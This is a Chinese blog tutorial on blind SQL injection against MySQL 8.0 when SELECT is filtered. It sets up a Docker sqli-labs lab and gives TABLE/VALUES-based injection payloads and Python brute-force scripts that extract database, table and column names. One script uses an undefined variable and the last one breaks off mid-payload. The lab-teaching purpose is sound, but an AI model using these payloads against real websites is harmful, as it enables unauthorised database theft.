MYSQL8.0特性—无select注入

2023年 8月 13日 32.1k 0

前言

在mysql8.0之后又有了一个新特性,可以在过滤select的情况下,爆出我们需要的表名、字段、数据。

环境配置

docker配置mysql

环境是基于8.0.19之后的,phpstudy最高才到8.0.12,所以需要用docker来配置

docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.22

如果执行时出现以下错误,则是系统自启了mysql占用了3306端口

Error starting userland proxy: listen tcp4 0.0.0.0:3306: bind: address
already in use.

这时候就需要先结束mysql进程

sudo service mysql stop
docker ps -a            //刚才虽然报错,但已经启动了一个docker环境 需要查看进程号 
docker rm 进程号         //结束进程
docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.22

之后便可进入docker环境中的mysql

docker ps
docker exec -it e33fc8311fd7 /bin/bash  //e33fc8311fd7 为进程号
//进入mysql
mysql -uroot -p123456
//执行
ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY '123456';
flush privileges;

搭建sql靶场

[ sql注入靶场](www.sec-
in.com/outLinkPage/?target=github.com/c0ny1/vulst…)

cd vulstudy/sqli-labs
默认为80端口会与apache冲突,所以可以改成8082
docker run -d -p 8082:80 c0ny1/sqli-labs:0.1        //c0ny1/sqli-labs:0.1要根据docker文件修改

配置好后进入容器,修改配置文件db-creds.inc ,

docker ps
docker exec -it b7291beb46ba /bin/bash

先安装vim命令

sed -i s@/deb.debian.org/@/mirrors.aliyun.com/@g /etc/apt/sources.list
apt-get clean && apt-get update && apt-get install vim

配置db-creds.inc

cd /app/sql-connections/
vim db-creds.inc

wKg0C2JxHAaAdbWyAAA8PaPhvM0843.png

修改less-1源码

cd /app/Less-1
vim index.php

wKg0C2JxHeaATGTAAD9duyrbgs233.png


 



配置完成后重启环境

exit
docker ps
docker restart b7291beb46ba

wKg0C2JxHfKAMCysAACFGH3F93A439.png

访问配置成功

wKg0C2JxHiWAQr8LAAFhZRgR5hk835.png

这里其实也可以通过find / -name db-creds.inc 命令查找配置文件,直接修改

wKg0C2JxHjKAaNm4AACP12O1bT8047.png

前置知识

在mysql8之后,多了两个新的用法table ,value

table

[ MySQL :: MySQL 8.0 Reference Manual :: 13.2.12 TABLE
Statement](www.sec-
in.com/outLinkPage/?target=dev.mysql.com/doc/refman/…)

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

TABLE 语句在某些方面的作用类似于 SELECT。给定一个名为 的表的存在,以下两个语句产生相同的输出:t

TABLE users;
等于
SELECT * FROM users;

wKg0C2JxHjAelZuAADNVJMifY8044.png

区别

1.TABLE始终显示表的所有列
2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句

values

[ MySQL :: MySQL 8.0 Reference Manual :: 13.2.14 VALUES
Statement](www.sec-
in.com/outLinkPage/?target=dev.mysql.com/doc/refman/…)

VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number]

row_constructor_list:
    ROW(value_list)[, ROW(value_list)][, ...]

value_list:
    value[, value][, ...]

column_designator:
    column_index

VALUES是MySQL 8.0.19中引入的DML语句,它以表的形式返回一组一行或多行。换句话说,它是一个表值构造函数,也用作独立的 SQL
语句。

mysql> VALUES ROW(1,2,3);
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
|        1 |        2 |        3 |
+----------+----------+----------+
1 row in set (0.00 sec)


mysql> VALUES ROW(1,-2,3), ROW(5,7,9), ROW(4,6,8);
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
|        1 |       -2 |        3 |
|        5 |        7 |        9 |
|        4 |        6 |        8 |
+----------+----------+----------+
3 rows in set (0.00 sec)

values 也可以结合union 使用,判断列数和进行注入

mysql> select * from users where id = 1 union values row(1,2,3);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
|  1 | 2        | 3        |
+----+----------+----------+
2 rows in set (0.00 sec)

利用方式

爆数据库

table information_schema.schemata;# 列出所有数据库信息

wKg0C2JxHlAdTLZAADShfTGksM523.png

这里可以看到第一列数据为def、第二列数据为数据库名security,可以用以下方式进行判断

http://192.168.199.155:8082/Less-1/?id=1' and  (table information_schema.schemata limit 4,1)>=('def','0',3,4,5,6)--+ 

当为s 时正常回显

wKg0C2JxHnSAFtqkAACZLG02kKU682.png

但当改为s 的下一位t 时,回显消失,由此也可以判断出数据库的第一位为s,以此类推可以爆出数据库名称security

wKg0C2JxHnuAEQSUAACQCjikpVU300.png

这里也可以用我写好的脚本来跑库名(脚本能力偏弱,可能存在很多问题 望师傅们指正)

import requests

url="http://192.168.199.155:8082/Less-1/"
flag=''
a=''
for i in range(1,100):
    m=32
    n=127
    while 1:
        b = 1
        mid=(m+n)//2
        payload="?id=1' and  (table information_schema.schemata limit 4,1)>=('def','{}',3,4,5,6)--+".format(a+chr(mid))
        r=requests.get(url=url+payload)
        #print(payload)
        if "Dumb"  not in r.text:
            n=mid
        else:
            m=mid
        if(chr(mid)=="~" or chr(mid)=="+"):
            b=0
            break
        if(m+1==n):
            a+=chr(m)
            print(a)
            break
    if(b==0):
        break

当然这里如果只是过滤了select并且能回显的话用-1 union values row(1,database(),3)--+
就完全可以查出数据库名称(这里不行)

,除此外用concat(1,database(),3)跑常规盲注脚本也是可以的,毕竟爆数据库名没有必要一定用select

爆表名

table information_schema.tables; # 列出所有表的信息

这条命令会列出所有数据库中的表,并且由于table 不能用where
,所以就需要我们自己先去找对应数据库的位置,除此外information_schema.tables
共有21列,所有记录的TABLE_CATALOG 的值都是def

wKg0C2JxHp2ADW2AABUu8Ds1Sw049.png

这里还是写了一个脚本来跑对应的列值,一个payload匹配的话很容易匹配错误,所以这里采用两种判断方式一起进行来增加成功率(range的值可以根据需要修改)

import requests

url="http://192.168.199.155:8082/Less-1/"

for i in range(300,330):
        payload1="?id=1' and ('def','security','0','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21) = (table information_schema.columns limit {},1)--+".format(i)
        r1=requests.get(url=url+payload1)
        r2=requests.get(url=url+payload2)
        if "Dumb"  in r1.text and "Dumb"  in r2.text:
            print(i)

判断完列号后,直接跑字段

import requests

url="http://192.168.199.155:8082/Less-1/"
flag=''
a=''
for i in range(1,100):
m=32
n=127
while 1:
b = 1
mid=(m+n)//2
payload="?id=1' and ('def','security','users','{}','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)

相关文章

服务器端口转发,带你了解服务器端口转发
服务器开放端口,服务器开放端口的步骤
产品推荐:7月受欢迎AI容器镜像来了,有Qwen系列大模型镜像
如何使用 WinGet 下载 Microsoft Store 应用
百度搜索:蓝易云 – 熟悉ubuntu apt-get命令详解
百度搜索:蓝易云 – 域名解析成功但ping不通解决方案

发布评论